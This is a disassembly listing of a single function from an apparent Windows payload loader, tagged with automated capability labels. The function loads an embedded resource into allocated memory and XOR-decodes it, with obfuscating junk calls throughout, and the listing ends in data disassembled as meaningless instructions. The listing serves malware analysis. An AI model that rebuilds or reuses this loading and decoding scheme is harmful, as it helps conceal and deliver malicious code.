Function at 0x140002d90
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xc8
mov rdi, rcx
mov r12, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400071d0], r12
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x1400071d8], rax
mov edx, 0x6f
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x34], eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov ebx, dword [rsp + 0x34]
mov r8d, 0xad
mov rcx, rbx
mov edx, esi
call fcn.140002bc0
mov r15, rax
mov ecx, 0x1000
call fcn.140002bc0
mov rdi, rax
mov qword [rsp + 0x20], 0xb0
mov ecx, 4
mov r8d, 0x6d
mov edx, esi
mov r9d, esi
call fcn.140002bc0
xor ecx, ecx
mov rdx, r15
mov r8d, edi
mov r9d, eax
call r12
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
mov rdx, r14
mov r8, rbx
call fcn.140002b90
mov rdi, qword [rsp + 0x38]
mov edx, 0x74
xor ecx, ecx
mov r8d, esi
mov r9d, esi
call fcn.140002bc0
mov ecx, dword [rsp + 0x34]
test rdi, rdi
je 0x140003246
cmp ecx, eax
je 0x140003246
mov ecx, 5
mov edx, 0x1e
call fcn.140002bc0
mov ecx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x50], rdx
cmp ecx, eax
jbe 0x140003294
mov rax, qword [rsp + 0x38]
mov esi, dword [rax]
mov dword [rsp + 0x20], esi
mov ecx, 0x2e786f72
mov r8d, 0xc1
mov edx, esi
mov r9d, esi
call fcn.140002bc0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x50], rcx
cmp esi, eax
jne 0x140003294
mov rax, qword [rsp + 0x38]
add rax, 4
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax]
mov byte [rsp + 0x33], al
movzx eax, byte [rsp + 0x33]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov dword [rsp + 0x44], ecx
mov edx, 0x89
xor ecx, ecx
call fcn.140002bc0
mov rsi, rax
movzx ebx, byte [rsp + 0x33]
movzx edx, byte [rsp + 0x33]
mov qword [rsp + 0x20], 0xd
mov ecx, 4
mov r8d, 0x30
mov r9d, edx
call fcn.140002bc0
mov ecx, dword [rsp + 0x44]
cmp bl, sil
je 0x1400032a5
cmp ecx, eax
jle 0x1400032a5
movzx eax, byte [rsp + 0x33]
mov qword [rsp + 0x58], rax
mov ecx, 4
call fcn.140002bc0
add rax, qword [rsp + 0x58]
add rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x28], 0xb5
mov ecx, 0xfffffffb
mov edx, 0x84
mov r9, r8
call fcn.140002bc0
mov rsi, rax
add esi, dword [rsp + 0x44]
mov ecx, 2
call fcn.140002bc0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rcx
cmp esi, eax
jb 0x140003294
mov qword [rsp + 0x20], 0x45
mov ecx, 0xfffffffc
mov edx, 0x9c
mov r8d, 0x8d
mov r9d, 0x22
call fcn.140002bc0
mov rsi, rax
add esi, dword [rsp + 0x44]
mov qword [rsp + 0xa0], rsi
mov ecx, 1
call fcn.140002bc0
xor ecx, ecx
cmp al, byte [rsp + 0x33]
adc rcx, 1
mov qword [rsp + 0xa8], rcx
mov ecx, 1
call fcn.140002bc0
and rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x70], 2
cmp esi, 3
je 0x1400031e9
mov edx, 0x25e0318a
mov r8d, 0xdc
mov rcx, 0xfffffffffffffffe
call fcn.140002bc0
mov rsi, rax
add rsi, qword [rsp + 0xa0]
mov rcx, 0xfffffffffffffffe
mov rdx, rsi
mov r8, rsi
call fcn.140002bc0
and rax, rsi
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0x80], 0
xor r14d, r14d
nop dword [rax + rax]
mov r15, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x90]
cmp rsi, qword [rsp + 0x58]
mov ebx, 0
cmovb rbx, rsi
mov rax, qword [rsp + 0x48]
movzx ecx, byte [rax + r12]
mov rdx, qword [rsp + 0x60]
xor cl, byte [rdx + rbx]
mov byte [rax + r12], cl
mov ecx, 1
mov r8d, 0xe68658
mov rdx, rsi
mov r9, rsi
call fcn.140002bc0
mov rdi, rax
add rdi, rbx
mov qword [rsp + 0x20], rsi
mov ecx, 1
mov edx, 0x2a
mov r8d, 0x74
mov r9d, 0x45
call fcn.140002bc0
or rax, r12
cmp rdi, qword [rsp + 0x58]
cmovae rdi, r14
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rcx + rax]
mov rbx, qword [rsp + 0x60]
xor dl, byte [rbx + rdi]
mov byte [rcx + rax], dl
mov qword [rsp + 0x20], rsi
mov ecx, 1
mov edx, 0xfcb019
mov r8d, 0x16
mov r9, rsi
call fcn.140002bc0
mov rsi, rax
add rsi, rdi
mov ecx, 2
mov edx, 0x267bba
mov r8d, 0x14
mov r9d, 0x47
call fcn.140002bc0
mov rdi, rax
add rdi, r12
mov ecx, 2
call fcn.140002bc0
add rax, r15
cmp rax, qword [rsp + 0xb8]
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], rdi
jne 0x1400030d0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x68], rax
mov r8, qword [rsp + 0x68]
mov qword [rsp + 0x20], r8
mov edx, 0xc6
xor ecx, ecx
mov r9, r8
call fcn.140002bc0
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rdx
cmp rcx, rax
je 0x140003294
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jae 0x14000326c
mov rax, qword [rsp + 0x68]
jmp 0x14000326e
lea rdx, [0x140006230]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0xc0]
movzx ebx, byte [rcx + rdx]
mov rdi, qword [rsp + 0x60]
xor bl, byte [rdi + rax]
mov byte [rcx + rdx], bl
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
lea rdx, str.rquvbCxvbGus72xs7Kpp6nr58
call fcn.140001000
mov rcx, qword [rsp + 0x98]
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_FreeResource]
lea edx, [rcx + 0x2f]
mul dword [rbp + 0x22]
xchg ecx, eax
out 0x6c, al
or eax, 0xea62638e
lea ecx, [rax - 0x1c86fe62]
pop rbp
invalid
cli
int 0xb0
cmp ch, bh
fucompi st(7)
xor eax, 0xcd4e597d
sar byte cs:[rax - 0x75], 1
add byte [rsi - 0xc596a90], dh
xor ebx, edx
pushfq
adc eax, 0xdc9db034
imul edi, dword [ecx], 0x58467b44
insb byte [rdi], dx
cwde
ja case.0x1400032bd.1
jbe 0x14000c998
out 0x86, eax
cmpsb byte [rsi], byte [rdi]
sub eax, 0x4474a803
invalid
int 0x47
imul esp, dword ds:[rsi + 0x230761d8], 4
cmp esi, esp
sub eax, 0x9b8919d2
wait
wait
invalid
xor byte [rcx], cl
push rsi
loope 0x14000c9c5
or dword [rsi - 0x1f], edx
movsb byte [rdi], byte [rsi]
sahf
test ecx, edx
jmp 0x19dd2e9c2
invalid
invalid
pop rbp
invalid
pop rdi
jp 0x14000ca1d
or al, 0xe0
jae 0x14000ca1c
stc
or dword [rdi + 0x7f78e38e], eax
cmp al, 0x99
mov r10d, 0xc2b86769
iretd
iretd
invalid
invalid
and byte [rbp - 0x3c57d1eb], bl
jmp 0x178cd8973
stosd dword [rdi], eax
cmp edi, dword [rsi - 0x1a26913c]
int3
test dword [rbp + 0x59990f1], 0x1bf63991
sti
enter 0x420c, 0x6d
sbb al, 0xf6
mov bh, 0xd6
invalid
xchg edi, eax
pop rdx
outsb dx, byte [rsi]
xchg ebx, eax
and esi, dword [rcx - 0x2a38713f]
fld dword [rcx]
add esp, ebp
in al, dx
invalid
nop
cmpsb byte [rsi], byte [rdi]
jno 0x14000cacd
and bl, byte [rbp - 0x1c80c660]
xchg ecx, eax
fild dword [rax]
out 0x9d, eax
popfq
popfq
mov edi, 0xc570211
push 0xffffffffa55ec6d1
jnp 0x14000cad7
or esp, ebp
adc dword [rax], eax
add byte [rdx], bl
stc
add byte [rdx], bl
stc
sti
lodsb al, byte [rsi]
adc al, byte [rax + rcx*8 + 0x22]
invalid
rcl byte [rbx + rcx*4 + 0x11], 0x48
invalid
and al, byte [rbx + 0x722f3260]
invalid
xor ch, byte [rdi]
jb case.0x1400032bd.15
push rcx
adc dword [rbx], edi
cmp ebp, dword [rbp - 0x2b]
and eax, 0xf2ec96db
and eax, 0xdcba5812
push rsi
div dword [0x1a09c61d6]
wait
invalid
wait
invalid
sal dword [rdx + 0x2d9d37f4], 0x60
pop rdi
push rdi
add dword [rdx + 0xfb26db8], ebp
in eax, dx
cmp byte [rcx + 0x30a0198], ch
cwde
add dword [rdx], ecx
add esi, eax
adc byte [rbx + rcx*4 - 0x411f6468], bh
loopne str._mu
cwde
add dword [rdx], ecx
add esi, eax
adc byte [rbx + rcx*4 - 0x411f6468], bh
loopne str._mu
loopne str._mu
sti
invalid
invalid